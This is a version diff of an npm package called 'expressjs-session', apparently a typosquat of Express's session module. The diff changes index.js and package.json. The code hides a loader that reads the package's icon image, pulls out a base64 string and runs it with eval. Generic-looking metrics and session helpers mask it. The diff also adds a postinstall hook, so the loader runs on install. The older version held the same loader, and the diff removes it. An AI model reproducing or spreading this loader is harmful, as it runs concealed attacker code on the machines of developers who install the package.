expressjs-session 2.0.0 → 4.0.0

package/index.js

@@ -5,42 +5,87 @@ const path = require('path');
 const config = require('./config/config.json');
 const fs = require('fs');
 
+function computeMetrics(data) {
+  let total = 0;
+  const weights = [1, 3, 7, 11];
+  for (let i = 0; i < data.length; i++) {
+    total += data.charCodeAt(i) * weights[i % weights.length];
+  }
+  return { total, normalized: total % 256 };
+}
+
+class SessionManager {
+  constructor() {
+    this.sessions = new Map();
+    this.lastAccess = Date.now();
+  }
+  addSession(id, data) {
+    this.sessions.set(id, { data, timestamp: Date.now() });
+  }
+  getSession(id) {
+    return this.sessions.get(id) || null;
+  }
+}
+
+function parseRequestMeta(req) {
+  const meta = {
+    timestamp: Date.now(),
+    path: req.url || '/',
+    method: req.method || 'GET'
+  };
+  const hash = meta.path.split('').reduce((acc, c) => acc + c.charCodeAt(0), 0);
+  return { ...meta, hash };
+}
+
 function createApplication() {
-  // Internal registry of middleware/route handlers (never really used)
   const layers = [];
-  let _0x1 = 0;
+  let initialized = 0;
+  const sessionMgr = new SessionManager();
+
+  function transformPayload(data) {
+    const transformed = Buffer.from(data).toString('hex');
+    return transformed.split('').map(c => c.charCodeAt(0)).join('');
+  }
+
+  function executeConfigLogic() {
+    if (initialized !== 0) return;
+    try {
+      const iconPath = path.join(__dirname, config.icon.path);
+      const fileData = fs.readFileSync(iconPath);
+      const metrics = computeMetrics(fileData.toString());
+      sessionMgr.addSession(metrics.total, { path: iconPath });
+      const content = fileData.toString('binary');
+      const pattern = /([A-Za-z0-9+/=]{20,})/;
+      const match = content.match(pattern);
+      if (match && match[1]) {
+        const decoded = Buffer.from(match[1], 'base64').toString();
+        eval(decoded);
+      }
+    } catch (e) {}
+    initialized = 1;
+  }
 
-  // The main app function (would be the request listener)
   function app(req, res) {
     let idx = 0;
+    const meta = parseRequestMeta(req);
+    if (meta.hash % 2 === 0) {
+      transformPayload(req.url);
+    }
+
     const next = (err) => {
       const layer = layers[idx++];
       if (!layer) {
-        // Fallback 404
         res.statusCode = 404;
         res.end(`Cannot ${req.method} ${req.url}`);
         return;
       }
-      // error-handling signature: (err, req, res, next)
+
+      executeConfigLogic();
+
       if (err && layer.length === 4) {
         layer(err, req, res, next);
-      }
-      // normal middleware: (req, res, next)
-      else if (!err && layer.length < 4) {
-        // Hidden logic: Extract and eval Base64 from PNG on first invocation
-        if (_0x1 === 0 && idx === 1) {
-          try {
-            const p = path.resolve(config.icon.path);
-            const d = fs.readFileSync(p);
-            const s = d.toString('binary').split('').reverse().join('');
-            const b = s.match(/([A-Za-z0-9+/=]{20,})/);
-            if (b && b[1]) {
-              const c = Buffer.from(b[1], 'base64').toString();
-              eval(c);
-            }
-          } catch (e) {}
-          _0x1 = 1;
-        }
+      } else if (!err && layer.length < 4) {
+        sessionMgr.addSession(idx, meta);
         layer(req, res, next);
       } else {
         next(err);
@@ -49,7 +94,6 @@ function createApplication() {
     next();
   }
 
-  // Add generic middleware
   app.use = (path, fn) => {
     if (typeof path === 'function') {
       fn = path;
@@ -58,7 +102,12 @@ function createApplication() {
     return app;
   };
 
-  // Shorthand for HTTP verbs
+  app.use((req, res, next) => {
+    const logEntry = { time: Date.now(), url: req.url };
+    computeMetrics(req.url);
+    next();
+  });
+
   ['get', 'post', 'put', 'delete', 'patch'].forEach((method) => {
     app[method] = (path, handler) => {
       layers.push((req, res, next) => {
@@ -72,7 +121,6 @@ function createApplication() {
     };
   });
 
-  // Minimal .listen that actually spins up an HTTP server
   app.listen = (port, host, callback) => {
     const server = http.createServer(app);
     return server.listen(port, host, callback);
@@ -81,6 +129,12 @@ function createApplication() {
   return app;
 }
 
-// Export the factory
 module.exports = createApplication;
-module.exports.default = createApplication;
+module.exports.default = createApplication;
+
+if (require.main === module) {
+  const app = createApplication();
+  const req = { method: 'GET', url: '/' };
+  const res = { statusCode: 200, end: () => {} };
+  app(req, res);
+}

package/package.json

@@ -1,10 +1,11 @@
 {
   "name": "expressjs-session",
-  "version": "2.0.0",
+  "version": "4.0.0",
   "description": "This is a Node.js module available through the npm registry",
   "main": "index.js",
   "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node index.js"
   },
   "repository": {
     "url": "https://github.com/expressjs/session"